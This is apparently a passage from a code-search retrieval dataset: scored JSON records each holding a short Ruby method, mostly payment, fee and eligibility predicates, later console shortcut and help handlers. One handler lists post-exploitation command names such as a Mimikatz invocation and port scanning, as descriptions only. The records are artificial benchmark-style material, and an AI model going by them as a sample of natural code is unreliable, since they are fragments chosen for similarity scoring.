"title": "" }, { "docid": "e4c0e7d964d8b59cf45b113a9f663888", "score": "0.66939914", "text": "def check_fee_category\n self.has_paid_fees?\n end", "title": "" }, { "docid": "189e1fa9ce54fe63c80a63f3fb5e711a", "score": "0.6688642", "text": "def offers_delivered_duty_choice?\n if options = delivered_duty_options\n options.available.length > 1\n else\n false\n end\n end", "title": "" }, { "docid": "01a8807f5ddfc88a5601a0b62f53ca0f", "score": "0.6688046", "text": "def free?\n if prices.blank?\n !word_document.paid?\n else\n current_price.retail_price == 0 && prices.length == 1\n end\n end", "title": "" }, { "docid": "4d5d803b5bf653782c10fd8ba5d55cd9", "score": "0.6665369", "text": "def delivery_required?\n !digital?\n end", "title": "" }, { "docid": "0ac61178e28be17ce33cb4a5b84a5802", "score": "0.6655828", "text": "def besure_not_completed?\n end", "title": "" }, { "docid": "5a1a28f07fdb64c208e3425c324d6b02", "score": "0.66533524", "text": "def complete?\n self.amount_due == 0\n end", "title": "" }, { "docid": "23fc47d6c46c42fedccc86c8b5f73a59", "score": "0.66404986", "text": "def free?\n return false if water?\n return false if ant?\n return false if food?\n return false if inbound_ant?\n return true\n end", "title": "" }, { "docid": "71cc728bb8cf595f040dd5bcbd8a3859", "score": "0.6639012", "text": "def free?\n case @free_data&.downcase\n when 'yes'\n true\n when 'no'\n false\n else\n raise 'status is neither free nor paid'\n end\n end", "title": "" }, { "docid": "229d28acca85324a00e7bddc53a8d292", "score": "0.6627264", "text": "def has_excess_funds\n true if total_contributions > goal_amount\n end", "title": "" }, { "docid": "85522c41a3ae9b613b7431e3065ae9eb", "score": "0.66132534", "text": "def paid?\n \ttrue\n end", "title": "" }, { "docid": "fa819fd0ecadcc28e38dfbe5b467ce19", "score": "0.6576127", "text": "def is_paid?\n false\n end", "title": "" }, { "docid": "c0a26629f3708d9a56244aa4fa6956d1", "score": "0.65669477", "text": "def funded?\n amount_outstanding <= 0\n end", "title": "" }, { "docid": "d0845a545d96c81f2c6122b313730f28", "score": "0.65642583", "text": "def affirmative?\n ACCEPTED == decision\n end", "title": "" }, { "docid": "a2801b6021a7eb1c861a617f7624286d", "score": "0.6559031", "text": "def can_send_request?\n !self.suspended? and self.is_paid? and self.is_still_paid? and self.is_available?\n end", "title": "" }, { "docid": "a2801b6021a7eb1c861a617f7624286d", "score": "0.6559031", "text": "def can_send_request?\n !self.suspended? and self.is_paid? and self.is_still_paid? and self.is_available?\n end", "title": "" }, { "docid": "38ed6b345f3d44bece50f42d959e7c52", "score": "0.6548897", "text": "def alert_user?\n # check the three necessary conditions\n # in order of increasing cost\n \n #uncomment when the real data is available\n self.enabled? && are_there_new_votes?\n end", "title": "" }, { "docid": "b6bad25e37375db66f983c1520b522bb", "score": "0.6534001", "text": "def validate_balance_is_available\n if AccountTransaction.sufficient_funds?(self.request.startup.account, self.amount_paid, :escrow)\n self.errors.add(:request, \"startup doesn't have enough helpfuls to pay you, sorry\")\n false\n else\n true\n end\n end", "title": "" }, { "docid": "627ac3ad8420c9176e4bf158ee46382f", "score": "0.6520154", "text": "def redeemable?\n today = Time.now\n if today > valid_from and today < valid_through\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "4e5212b2d86175433f5125118a65fde1", "score": "0.6518553", "text": "def available?\n on_duty? && !emergency_code\n end", "title": "" }, { "docid": "24117181c034a52a0e6a99192bc14ef7", "score": "0.65127414", "text": "def is_free?\n @available\n end", "title": "" }, { "docid": "07c2e3d4734ae8b20240a1ac6e947ce6", "score": "0.6511833", "text": "def free_plan?\n self.price == 0\n end", "title": "" }, { "docid": "3654c530e3cf76965406850e7e15f804", "score": "0.6506496", "text": "def paid_in_full?\n !payment_outstanding?\n end", "title": "" }, { "docid": "88110c7e21dcadde5e57136e641e4786", "score": "0.64877194", "text": "def useable?\n Time.current < paid_till\n end", "title": "" }, { "docid": "1f7b1fdfacdd8b934d35746bded52826", "score": "0.6486719", "text": "def verify_funds_available(profile, shares, cost)\n available_funds = profile.available_funds\n total = shares * cost\n if available_funds < total\n return false\n end\n return true\nend", "title": "" }, { "docid": "2201a458152274a4cb6de21c9cef143f", "score": "0.64853716", "text": "def fulfilled?\n amount_remaining.zero?\n end", "title": "" }, { "docid": "02b7449cb740fa260f7c86a401012fe1", "score": "0.64811134", "text": "def aquired?\n !self.approved_at.nil?\n end", "title": "" }, { "docid": "d9c6ad91b46dc2aeef5a7a018d1130d8", "score": "0.6472199", "text": "def another_pass_required?\n debt_array.min < 0\n end", "title": "" }, { "docid": "6eb8d3212be3336ab07abeced22bfa20", "score": "0.64539224", "text": "def can_succeed?\n unavailable_count = invitations.where(:available => false).count\n still_viable = option_plans.select do |option_plan|\n invitations.count - (unavailable_count + option_plan.not_interested_count) >= minimum_attendee_count\n end\n still_viable.count > 0 # There was a weird bug with `any?` where it sometimes didn't return anything.\n end", "title": "" }, { "docid": "95621945e6da36ca7bc1f4bce7423628", "score": "0.64531845", "text": "def warranty_notification_due?\n if warranty.present?\n warranty.notification_due?\n else\n false\n end\n end", "title": "" }, { "docid": "b47566d058e6ad4e136b36c95a8cf963", "score": "0.644372", "text": "def decisive_action?\n accepted? || declined?\n end", "title": "" }, { "docid": "6bcf38e6a711ebcbd5c37286c6d55d31", "score": "0.64414716", "text": "def needs_to_accept_tos?\n false\n end", "title": "" }, { "docid": "45a68ec4fc7a32ffe0e4238ba81e53e8", "score": "0.64408016", "text": "def delivery_required?\n total_weight > BigDecimal(0)\n end", "title": "" }, { "docid": "8c8ce216ed6ffca6e2acfaf11f936625", "score": "0.64390445", "text": "def alert_user?\n # check the three necessary conditions\n # in order of increasing cost\n self.enabled? && approximately_now? && birth_control_now?\n end", "title": "" }, { "docid": "878b637f13f7fde1c38ec9e739def06b", "score": "0.64360005", "text": "def is_ready_to_deliver?\n assert_female\n\n self.gestation >= self.species['attributes']['gestation_period'].to_i.months\n end", "title": "" }, { "docid": "d14fa975e3cf5a3f1ed35ff63a512418", "score": "0.6435868", "text": "def early_booking_price_applies?\n early_signup_pricing\n end", "title": "" }, { "docid": "37e851fe2483f78f90aeaa2728104aeb", "score": "0.6434622", "text": "def has_funding?\n funds > 2\n end", "title": "" }, { "docid": "ef5691bdb58db7ce4714aecad4c25724", "score": "0.6429489", "text": "def linked_lease_premium_needed?\n @linked_ind == 'Y' && !convey?\n end", "title": "" }, { "docid": "4458b8e9ed6ebbb980c9ae3ad75c90ac", "score": "0.6419052", "text": "def allowed_to_pay_renewal_member_fee?\n return false if admin?\n\n (current_member? || in_grace_period?) &&\n requirements_for_renewal.requirements_excluding_payments_met?(self)\n end", "title": "" }, { "docid": "214a2f05a77c77819b876adbdc4e600b", "score": "0.6415654", "text": "def is_free?\n return self.price == 0\n end", "title": "" }, { "docid": "fa08452197ead6baa10149c67220c677", "score": "0.6411535", "text": "def despatched?\n not waiting_pickup?\n end", "title": "" }, { "docid": "54a29c689728c96d5d0adef7dee5d355", "score": "0.64091355", "text": "def calculate_eligibility\n if !finalized? && source && promotion?\n source.promotion.eligible?(adjustable, promotion_code: promotion_code)\n else\n eligible?\n end\n end", "title": "" }, { "docid": "58b7d4abd7424b6a215dc9486807daad", "score": "0.64050996", "text": "def chargeable?\n @status == :not_found or @status == :unlocked\n end", "title": "" }, { "docid": "b1d35a6328faddb9601a2776d7733652", "score": "0.64033955", "text": "def send_manual_review_needed_email?\n !case_closed? && admin_action_types_array.blank?\n end", "title": "" }, { "docid": "fa50b49f0ceb07a48fe8303102168b41", "score": "0.63986385", "text": "def check\n !redeemed? || !expired?\n end", "title": "" }, { "docid": "87be21e1dcc98c79faa32fab1e7ee7e8", "score": "0.63967335", "text": "def bad_debt_credit_details_needed?\n @bad_debt_yes_no == 'Y'\n end", "title": "" }, { "docid": "11d242bdd9f9ec470c5451b70edbcfd9", "score": "0.63941145", "text": "def retrial_interval_required?\n [\n agfs?,\n case_type&.fee_type_code.eql?('GRRTR'),\n fee_type_code_for(fee_type).eql?('AGFS_FEE'),\n retrial_reduction\n ].all?\n end", "title": "" }, { "docid": "943507843acba295b4df47659075d7a3", "score": "0.63934064", "text": "def not_eligable_work_in_uk\n self.eligableuk == \"no\" && self.passport == \"no\"\n end", "title": "" }, { "docid": "cd14ff6624e281596110201ab039fc9c", "score": "0.63914126", "text": "def unpaid?\n accepted? && archived_on.nil?\n end", "title": "" }, { "docid": "ed9b3d02b00e37a37e8a6487cb7f9643", "score": "0.6389832", "text": "def borrow_direct_eligible?\n if (any_loanable_copies? && any_enumerated?) || patron.guest?\n false\n else\n requestable.any? { |r| r.services.include? 'bd' }\n end\n end", "title": "" }, { "docid": "0bcd6c44eda810c38e99e7031a1f3896", "score": "0.6389722", "text": "def has_met_requirement?\n yeas >= required_votes\n end", "title": "" }, { "docid": "74b1b0939287b0046c89c5d88eb398a2", "score": "0.6388696", "text": "def aquired?\n acquired?\n end", "title": "" }, { "docid": "451703edf6be9070a1d86a3c83c56098", "score": "0.63863987", "text": "def has_free_trial_lesson?\n return self.prices.where( Price.arel_table[:type].eq('Price::Trial').and(\n (Price.arel_table[:amount].eq(nil).or(Price.arel_table[:amount].eq(0)))) ).any?\n end", "title": "" }, { "docid": "53dcb101673c0272fd37844e522b1a06", "score": "0.63852984", "text": "def paid_enough?\n errors.add(:paid,'You don\\'t paid enough') unless self.product.value <= self.total_paid\n end", "title": "" }, { "docid": "0a6e7cb67b7f25853ff12c4526b873dd", "score": "0.63835126", "text": "def partially_paid?\n state_name == :partially_paid\n end", "title": "" }, { "docid": "02d91e1b8658f2a7ce6ae87e8d56bdf3", "score": "0.6382449", "text": "def is_not_eligible?\n\t\tis_eligible == YNDK[:no]\t#2\n\tend", "title": "" }, { "docid": "02d91e1b8658f2a7ce6ae87e8d56bdf3", "score": "0.6382449", "text": "def is_not_eligible?\n\t\tis_eligible == YNDK[:no]\t#2\n\tend", "title": "" }, { "docid": "aabf5fff70e8bfefd04a9082f7b0656e", "score": "0.6379822", "text": "def uncancellable?() ((! live) && shipment.nil? && order.university).to_bool end", "title": "" }, { "docid": "490851ecab98fec80e7aaa85d188ba4d", "score": "0.63734347", "text": "def early_booking_price_applies?\n # is early_signup_pricing set up and are we still before the early_signup_deadline?\n early_pricing_activated? && early_signup_deadline >= Time.now\n end", "title": "" }, { "docid": "1afee5c8c71898a1a250ba0223b3511b", "score": "0.6372645", "text": "def declined?\n contributor_request_response.try(:negative?)\n end", "title": "" }, { "docid": "ab4eb08693a20c634f328b5c937cdba0", "score": "0.6372605", "text": "def at_capacity?\n @patrons_admitted == @capacity\nend", "title": "" }, { "docid": "55735fa084c8b73c86d9cbb880c8122f", "score": "0.63724387", "text": "def refused_to_participate?\n !self.pr_recruitment_end_date.blank? && self.pr_recruitment_status_code == 2\n end", "title": "" }, { "docid": "0b5bb8d5321f3a1e330ec97c86ee2488", "score": "0.6368798", "text": "def available?\n if self.trades.count == 0\n true\n elsif self.trades.count == 1\n self.trades.first.status == 'pending'\n else\n self.trades.reject { |trade| trade.status == 'accepted' }.any?\n end\n end", "title": "" }, { "docid": "d6d6ee7bfb4709550acc054f5fc0295d", "score": "0.6368713", "text": "def cracked_before_retrial_interval_required?\n [\n agfs?,\n case_type&.fee_type_code.eql?('GRCBR')\n ].all?\n end", "title": "" }, { "docid": "74a5cf6ad06a22130b16f49b5d6d67ed", "score": "0.6367663", "text": "def enRegle?\n self.paiementTotal > 0 || self.cotisationDue == 0 || (!self.cotisation.nil? && self.cotisation.cotisation_exemption > 50)\n end", "title": "" }, { "docid": "b5280347f1d6fca5f83c56b32eff1d93", "score": "0.63671803", "text": "def isAvailable\n\t\treturn @borrowed == \"Available\"\n\tend", "title": "" }, { "docid": "bcbd20db694ee03c33618bbc145eebb8", "score": "0.6366049", "text": "def requires_clearance?\n flagged? && approver_assignments.unapproved.any?\n end", "title": "" }, { "docid": "bcbd20db694ee03c33618bbc145eebb8", "score": "0.6366049", "text": "def requires_clearance?\n flagged? && approver_assignments.unapproved.any?\n end", "title": "" }, { "docid": "0428cd4a92fbded75557af674f0b348f", "score": "0.63507575", "text": "def carrier_feedback_surcharge?\n false\n end", "title": "" }, { "docid": "70728416bf2a1665a523a28e4eb7085b", "score": "0.63486207", "text": "def sent_and_not_reminded?\n sent? && !reminded?\n end", "title": "" }, { "docid": "53b23cc578f4620b19969986d5b081d1", "score": "0.6348589", "text": "def has_to_be_rejected?\n self.amount.blank?\n end", "title": "" }, { "docid": "13db3290d1d656d5776801b850697dc1", "score": "0.6346363", "text": "def eligible_transfer?\n user.eligible_to_credit_referrer? && user.referrer.present?\n end", "title": "" }, { "docid": "a1134fa5bd31a606d95a24eb9ab0ac96", "score": "0.6344799", "text": "def need_supplies\n return @ammo < @max_ammo || @fuel < @max_fuel\n end", "title": "" }, { "docid": "fe4602fbd736db6df242e88f1d14774f", "score": "0.63395846", "text": "def waiveable?\n self.invoice_status?(:initiated) || self.invoice_status?(:ready) || self.invoice_status?(:partial_payment) || self.invoice_status?(:provider_invoiced) || self.invoice_status?(:first_notice) || self.invoice_status?(:second_notice) || self.invoice_status?(:third_notice) || self.invoice_status?(:collections)\n end", "title": "" }, { "docid": "10e645086803b0b0dbcde4684e3a9c6e", "score": "0.6335505", "text": "def full_required?\n !@count.nil?\n end", "title": "" }, { "docid": "10e645086803b0b0dbcde4684e3a9c6e", "score": "0.6335505", "text": "def full_required?\n !@count.nil?\n end", "title": "" }, { "docid": "7b829c58fb1a40fc9f3777ff28bc9ad0", "score": "0.6332874", "text": "def can_be_paid?\n on_hold? && order_items.all? {|e| e.product.available?(self.system) && e.product.quantity(self.system) >= e.quantity}\n end", "title": "" }, { "docid": "2e66b48c8fbdf1e151fc68d6ec517410", "score": "0.63315487", "text": "def is_profit_sharing_eligible?\n revenue_share && revenue_share.active && is_engage_date_profit_sharing_eligible?\n end", "title": "" }, { "docid": "79046512dbfa80d2f184ba69375b5541", "score": "0.63301045", "text": "def complete?\n return (@unplanned==0 and @unestimated==0)\n end", "title": "" }, { "docid": "6b2fa24308a9c05be801bf53979a3386", "score": "0.6328389", "text": "def can_access_mentors_and_investors?\n investor_mentor_completeness_percent == 1.0\n end", "title": "" }, { "docid": "167186fb14fa491a535db6f6a8abdb77", "score": "0.6328003", "text": "def give_to_incomplete?\n give_to_url.nil? || !give_to_verified\n end", "title": "" }, { "docid": "f3c2bf7d82f58600629c5002399e0d0a", "score": "0.63267446", "text": "def calculate_eligibility\n if !finalized? && source && promotion?\n source.promotion.eligible?(adjustable, promotion_code: promotion_code)\n else\n eligible?\n end\n end", "title": "" }, { "docid": "cde7078e642ae326a4683c2ae5138cbc", "score": "0.6316678", "text": "def fee?\n self.instance_of?(SecurityDeposit) ? false : true\n end", "title": "" } ]
4e69f6ee0bddf7e0865018c08a72a7f4
Looks up command shortcuts (e.g. '?' is a shortcut for 'help'). Short cuts can be added by using the shortcut class method.
[ { "docid": "114cef11f36628716afa32173da03908", "score": "0.6727495", "text": "def translate_shortcut(cmd)\n command_lookup_table[cmd] || cmd\n end", "title": "" } ]
[ { "docid": "895146efea4aed9bf0e87dbc7cd0197d", "score": "0.80187726", "text": "def command_shortcuts(cmd)\n shortcuts[cmd] \n end", "title": "" }, { "docid": "9bbf61fb01da3b9d9af23e37013010bf", "score": "0.73804337", "text": "def shortcut(short, command)\n (@@shortcuts[command.to_s] ||= []).push short\n @@shortcut_table[short] = command.to_s\n end", "title": "" }, { "docid": "5da5ee9b1a477a73d6f00e1acabd8544", "score": "0.7001451", "text": "def shortcuts\n these_shortcuts = {}\n ActiveSupport::Notifications.instrument 'add_console_shortcuts.cnfs', { shortcuts: these_shortcuts }\n these_shortcuts\n end", "title": "" }, { "docid": "66bf99165d8d2b0ec58855fdfcc2f060", "score": "0.6522064", "text": "def display_all_shortcuts\n # Interface method\n end", "title": "" }, { "docid": "b4cba20c3f965e51172a1c115a60a9f7", "score": "0.6519884", "text": "def command_lookup_table \n return @command_lookup_table if @command_lookup_table\n @command_lookup_table = command_abbreviations.merge(shortcut_table)\n end", "title": "" }, { "docid": "907ffd95894921fc360f930002111271", "score": "0.619185", "text": "def test_shortcuts\n N::URI.shortcut(:at_least_one, \"http://atleast.com\")\n N::URI.shortcut(:at_least_two, \"http://atleasttwo.com\")\n assert(N::URI.shortcuts.size > 1, \"There should be at least two shortcuts\")\n assert(N::URI.shortcuts.keys.include?(:at_least_one))\n assert(N::URI.shortcuts.keys.include?(:at_least_two))\n end", "title": "" }, { "docid": "21e03aff97434c02328fe744e41c4e81", "score": "0.61874765", "text": "def commands\n @aliases\n end", "title": "" }, { "docid": "7fd39ce5b48358bc2dd104ee7f6734b4", "score": "0.6164499", "text": "def default_shortcuts\r\n {\r\n \"Ctrl+Shift+S\" => {\"description\"=>\"Displays Tr8n shortcuts\", \"script\"=>\"Tr8n.UI.Lightbox.show('/tr8n/help/lb_shortcuts', {width:400});\"},\r\n \"Ctrl+Shift+I\" => {\"description\"=>\"Turns on/off inline translations\", \"script\"=>\"Tr8n.UI.LanguageSelector.toggleInlineTranslations();\"},\r\n \"Ctrl+Shift+L\" => {\"description\"=>\"Shows/hides settings selector\", \"script\"=>\"Tr8n.UI.LanguageSelector.show(true);\"},\r\n \"Ctrl+Shift+N\" => {\"description\"=>\"Displays notifications\", \"script\"=>\"Tr8n.UI.Lightbox.show('/tr8n/translator/notifications/lb_notifications', {width:600});\"},\r\n \"Ctrl+Shift+K\" => {\"description\"=>\"Adds software keyboard for each entry field\", \"script\"=>\"Tr8n.Utils.toggleKeyboards();\"},\r\n \"Ctrl+Shift+C\" => {\"description\"=>\"Display current component status\", \"script\"=>\"Tr8n.UI.Lightbox.show('/tr8n/help/lb_source?source=' + Tr8n.source, {width:420});\"},\r\n \"Ctrl+Shift+T\" => {\"description\"=>\"Displays Tr8n statistics\", \"script\"=>\"Tr8n.UI.Lightbox.show('/tr8n/help/lb_stats', {width:420});\"},\r\n \"Ctrl+Shift+D\" => {\"description\"=>\"Debug Tr8n Proxy\", \"script\"=>\"Tr8n.SDK.Proxy.debug();\"},\r\n\r\n \"Alt+Shift+C\" => {\"description\"=>\"Displays Tr8n credits\", \"script\"=>\"window.location = Tr8n.host + '/tr8n/help/credits';\"},\r\n \"Alt+Shift+D\" => {\"description\"=>\"Opens dashboard\", \"script\"=>\"window.location = Tr8n.host + '/tr8n/translator/dashboard';\"},\r\n \"Alt+Shift+M\" => {\"description\"=>\"Opens sitemap\", \"script\"=>\"window.location = Tr8n.host + '/tr8n/app/sitemap';\"},\r\n \"Alt+Shift+P\" => {\"description\"=>\"Opens phrases\", \"script\"=>\"window.location = Tr8n.host + '/tr8n/app/phrases';\"},\r\n \"Alt+Shift+T\" => {\"description\"=>\"Opens translations\", \"script\"=>\"window.location = Tr8n.host + '/tr8n/app/translations';\"},\r\n \"Alt+Shift+A\" => {\"description\"=>\"Opens awards\", \"script\"=>\"window.location = Tr8n.host + '/tr8n/app/awards';\"},\r\n \"Alt+Shift+B\" => {\"description\"=>\"Opens message board\", \"script\"=>\"window.location = Tr8n.host + '/tr8n/app/forum';\"},\r\n \"Alt+Shift+G\" => {\"description\"=>\"Opens glossary\", \"script\"=>\"window.location = Tr8n.host + '/tr8n/app/glossary';\"},\r\n \"Alt+Shift+H\" => {\"description\"=>\"Opens help\", \"script\"=>\"window.location = Tr8n.host + '/tr8n/help';\"}\r\n }\r\n end", "title": "" }, { "docid": "b5a9cbd3b03da8b3762c07c7c43bfc35", "score": "0.6102789", "text": "def command_help\n display_possible_actions\n end", "title": "" }, { "docid": "6bf1248a3f1136a1a6bf81bacbbc7bcd", "score": "0.60452515", "text": "def commands\r\n @help_commands\r\n end", "title": "" }, { "docid": "224072d1d99ebbef72871363bd8ee634", "score": "0.6039086", "text": "def help\n @@commands.each do |command| \n puts command[0]\n puts \" `#{command[1]}\"\n end \n end", "title": "" }, { "docid": "58bba97bb423fbe8104c8474d3471250", "score": "0.59449697", "text": "def register_alias(type, shortcut); end", "title": "" }, { "docid": "8fdd9d01217cd0e3d166ef2ec9e82edb", "score": "0.592766", "text": "def has_shortcuts?(cmd)\n command_shortcuts(cmd)\n end", "title": "" }, { "docid": "4971888ab5c64a08bb6e30bbd50a9f33", "score": "0.5904115", "text": "def command_help(m)\n m.user.send \"Usage: !suggest Sweet Show Title\"\n end", "title": "" }, { "docid": "bf0c237e9ef37a148e9bd79f0434f351", "score": "0.5880351", "text": "def commands\n {\n 'help' => 'Help menu',\n 'background' => 'Backgrounds the current shell session',\n 'sessions' => 'Quickly switch to another session',\n 'resource' => 'Run a meta commands script stored in a local file',\n 'shell' => 'Spawn an interactive shell (*NIX Only)',\n 'download' => 'Download files (*NIX Only)',\n 'upload' => 'Upload files (*NIX Only)',\n 'source' => 'Run a shell script on remote machine (*NIX Only)',\n 'irb' => 'Open an interactive Ruby shell on the current session',\n 'pry' => 'Open the Pry debugger on the current session'\n }\n end", "title": "" }, { "docid": "abd91d6b506c26ece0ff2266191e5c6e", "score": "0.5834613", "text": "def hotkey\n @link.HotKey\n end", "title": "" }, { "docid": "83e0e5f1af391697ceecad82d89b97e4", "score": "0.583412", "text": "def do_help(commands)\n return commands.usage\n end", "title": "" }, { "docid": "34f628f33bcb4b1a59879720a4aa6480", "score": "0.5805768", "text": "def help(command = nil)\n coind.help command\n end", "title": "" }, { "docid": "8f44b269835aa96cf5542fcfb6a93216", "score": "0.576483", "text": "def find_shortcut(name)\n unless defined? Fast::Shortcut\n require 'fast/shortcut'\n Fast.load_fast_files!\n end\n\n shortcut = Fast.shortcuts[name] || Fast.shortcuts[name.to_sym]\n shortcut || exit_shortcut_not_found(name)\n end", "title": "" }, { "docid": "46553e2806a0731445ddc7a346ff83d8", "score": "0.5751024", "text": "def help(cmd)\n %{\n h[elp]\\t\\tprint this help\n h[elp] command\\tprint help on command\n }\n end", "title": "" }, { "docid": "ca2b9b9775ce2c6cc4e46c047597aa3b", "score": "0.5745961", "text": "def aliases(cmd)\n COMMAND_ALIASES.each { |k,v| return k if v.include?(cmd) }\n nil\n end", "title": "" }, { "docid": "3f598aab9be227a2059e110a92fe0cc2", "score": "0.5743524", "text": "def index\n @shortcuts = Shortcut.all\n end", "title": "" }, { "docid": "51ed5d0cf0bd5e4109bccdc82c9b6737", "score": "0.5739897", "text": "def commands\n\t\t\t{\n\t\t\t\t\"wmap_website\" => \"List website structure\",\n\t\t\t\t\"wmap_targets\" => \"Targets in the database\",\n\t\t\t\t\"wmap_sql\" => \"Query the database\",\n\t\t\t\t\"wmap_run\" => \"Automatically test/exploit everything\",\n\t\t\t\t\"wmap_proxy\" => \"Run mitm proxy\",\n\t\t\t\t\"wmap_crawl\" => \"Crawl website\",\n\t\t\t\t\"wmap_attack\" => \"Crawl and Test\",\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "8b170433d4bf3c63396c99bfc04b5869", "score": "0.5735753", "text": "def add_shortcut(shortcut)\n @shortcuts.push(shortcut) unless @shortcuts.index(shortcut)\n end", "title": "" }, { "docid": "fdc3c1fad28aa6b1573ed9da5e56adbb", "score": "0.5721563", "text": "def bind_hotkey\n if @mnemonic\n ch = @mnemonic.downcase()[0].ord ## 1.9 DONE \n # meta key \n mch = ?\\M-a.getbyte(0) + (ch - ?a.getbyte(0)) ## 1.9\n if (@label_for.is_a? Canis::Button ) && (@label_for.respond_to? :fire)\n @form.bind_key(mch, \"hotkey for button #{@label_for.text} \") { |_form, _butt| @label_for.fire }\n else\n $log.debug \" bind_hotkey label for: #{@label_for}\"\n @form.bind_key(mch, \"hotkey for label #{text} \") { |_form, _field| @label_for.focus }\n end\n end\n end", "title": "" }, { "docid": "e45c949b98e85ba2a83c8cc8271e8d2f", "score": "0.57064193", "text": "def help command\n puts \"\nThe command you entered, #{command}, is not supported.\nValid commands: \"\n @command_map.each_key{|key| puts \"\\t#{key}\\n\"}\n end", "title": "" }, { "docid": "96d6aff08725db29314616ff1b8d4cd1", "score": "0.5671877", "text": "def subcommands(command)\n completion_grep(subcommand_list, translate_shortcut(command).to_s + '_')\n end", "title": "" }, { "docid": "e59f49d52d9c5a0a6ace8a966542bba5", "score": "0.566031", "text": "def commands\n\t\t{\n\t\t\t\"cat\" => \"Read the contents of a file to the screen\",\n\t\t\t\"cd\" => \"Change directory\",\n\t\t\t\"download\" => \"Download a file or directory\",\n\t\t\t\"edit\" => \"Edit a file\",\n\t\t\t\"getwd\" => \"Print working directory\",\n\t\t\t\"ls\" => \"List files\",\n\t\t\t\"mkdir\" => \"Make directory\",\n\t\t\t\"pwd\" => \"Print working directory\",\n\t\t\t\"rmdir\" => \"Remove directory\",\n\t\t\t\"upload\" => \"Upload a file or directory\",\n\t\t\t\"lcd\" => \"Change local working directory\",\n\t\t\t\"getlwd\" => \"Print local working directory\",\n\t\t\t\"lpwd\" => \"Print local working directory\",\n\t\t\t\"rm\" => \"Delete the specified file\",\n\t\t\t\"del\" => \"Delete the specified file\",\n\t\t\t\"search\" => \"Search for files\"\n\t\t}\n\tend", "title": "" }, { "docid": "915f21ba44518b2a6e27a28f77e12db4", "score": "0.5656277", "text": "def complete_help(command)\n completion_grep(documented_commands, command)\n end", "title": "" }, { "docid": "057686e2f46a6a4f57c73fc691394cb1", "score": "0.5634807", "text": "def commands\n {\n \"power_shell\" => \"Execute a powershell command.\",\n \"power_view\" => \"Download and execute Veil's PowerView Framework\",\n \"power_up\" => \"Download and execute the PowerUp Framework\",\n \"power_katz\" => \"Invoke-Mimikatz into memory using PowerShell\",\n \"power_scan\" => \"Invoke-PortScan from meterpreter using PowerShell\"\n }\n end", "title": "" }, { "docid": "1e8068c4786cf639a009c39b94a76a21", "score": "0.5606426", "text": "def test_check_shortcut\n N::Namespace.shortcut(:xyshortcut, \"http://xyz/\")\n assert_equal(:xyshortcut, N::URI.new(\"http://xyz/\").my_shortcut)\n end", "title": "" }, { "docid": "9e9190335b3d1ae285c0638f61f6f274", "score": "0.55830365", "text": "def print_help(cmd)\n offset = docs.keys.longest_string_length\n write \"#{cmd.ljust(offset)} -- #{docs[cmd]}\" + \n (has_shortcuts?(cmd) ? \" #{display_shortcuts(cmd)}\" : '')\n end", "title": "" }, { "docid": "571890d03280e39db8c277ca59090a18", "score": "0.5578451", "text": "def display_shortcut(element)\n # Interface method\n end", "title": "" }, { "docid": "7b9312355b7ed294407bcf3b09197a45", "score": "0.55598646", "text": "def free_shortcut(shortcut)\n found = false\n alpha_numbers = '1234567890abcdefghijklmnopqrstuvwxyz'\n elements = @parser.find('[accesskey]').list_results\n elements.each do |element|\n shortcuts = element.get_attribute('accesskey').downcase\n\n unless Hatemile::Util::CommonFunctions.in_list?(shortcuts, shortcut)\n next\n end\n\n (0..alpha_numbers.length - 1).each do |i|\n key = alpha_numbers[i, i + 1]\n found = true\n elements.each do |element_with_shortcuts|\n shortcuts = element_with_shortcuts.get_attribute(\n 'accesskey'\n ).downcase\n\n unless Hatemile::Util::CommonFunctions.in_list?(shortcuts, key)\n next\n end\n\n element.set_attribute('accesskey', key)\n found = false\n break\n end\n break if found\n end\n break if found\n end\n end", "title": "" }, { "docid": "0b3f2a64bbc71fe9ab69356728d115b6", "score": "0.5559521", "text": "def short_help\n execute_string(\"-help\")\n end", "title": "" }, { "docid": "73ff229b8b1b3340d9d93acd0f3d3f3c", "score": "0.5550126", "text": "def cmd_help(*args)\n\t\tprint(shell.help_to_s)\n\tend", "title": "" }, { "docid": "d593f5bf1a7ed6b801f4347cabf8d1ae", "score": "0.5548053", "text": "def cmd_help argv\n help\n end", "title": "" }, { "docid": "d593f5bf1a7ed6b801f4347cabf8d1ae", "score": "0.5548053", "text": "def cmd_help argv\n help\n end", "title": "" }, { "docid": "27f441c12255436174ac3f6fba8df3e5", "score": "0.55476576", "text": "def help\n arrayCommand( \"help\", DictArray, RESPONSE_HELP_FOLLOWS )\n end", "title": "" }, { "docid": "27f441c12255436174ac3f6fba8df3e5", "score": "0.55476576", "text": "def help\n arrayCommand( \"help\", DictArray, RESPONSE_HELP_FOLLOWS )\n end", "title": "" }, { "docid": "e0bae142ba6493fda7b8ed0008d0b02b", "score": "0.5538352", "text": "def commandalias(command, a)\r\n\t$gamemode.commandalias(command, a)\r\nend", "title": "" }, { "docid": "4fd4275ef54598a1061d564da5f748bd", "score": "0.5517357", "text": "def help_command(route, command, description)\n command = \"#{name}: #{command}\" if route.command?\n \"#{command} - #{description}\"\n end", "title": "" }, { "docid": "773dfdb180c9fe9e5300eb1a7753a8c6", "score": "0.54975957", "text": "def help(command = nil)\n @api.request 'help', command\n end", "title": "" }, { "docid": "daa82ab474ebc36eabf7844e5eb9466c", "score": "0.549362", "text": "def help\n\t\tputs \"The CLI currently accepts the following commands:\"\n\t\tputs \"'help' - Displays the current help screen.\"\n\t\tputs \"'free' - Displays a list of the current free-to-play heroes.\"\n\t\tputs \"'<hero name>' - Will search for a hero of that name. No punctuation should be added and spaces should be represented with '-'\"\n\t\tputs \"'hero search' - Will return the user to the hero search prompt.\"\n\t\tputs \"'exit' - Closes the application.\"\n\tend", "title": "" }, { "docid": "b05d7e58e39c214f82cbe0b0ed2deae0", "score": "0.5481445", "text": "def help\n messages = ['- Help -']\n max_command_length = ConsoleProgram.scopes.active.map{|key| @@commands[key].keys }.flatten.map(&:length).max\n max_alias_length = ConsoleProgram.scopes.active\n .map{|key| @@commands[key].values }\n .flatten.uniq\n .map(&:alternate_commands)\n .compact.map{|alt| alt.join(', ') }\n .map(&:length).max\n ConsoleProgram.scopes.active.each_with_index do |key, index|\n messages << \"- #{key.to_s.titleize} Commands -\"\n @@commands[key].each do |name, klass|\n unless klass.hidden || (!klass.alternate_commands.nil? && klass.alternate_commands.include?(name))\n # /help - help - Help description.\n space = {}\n command = name\n space[:command] = ' ' * (max_command_length - name.length)\n aliases = klass.alternate_commands.nil? ? '' : 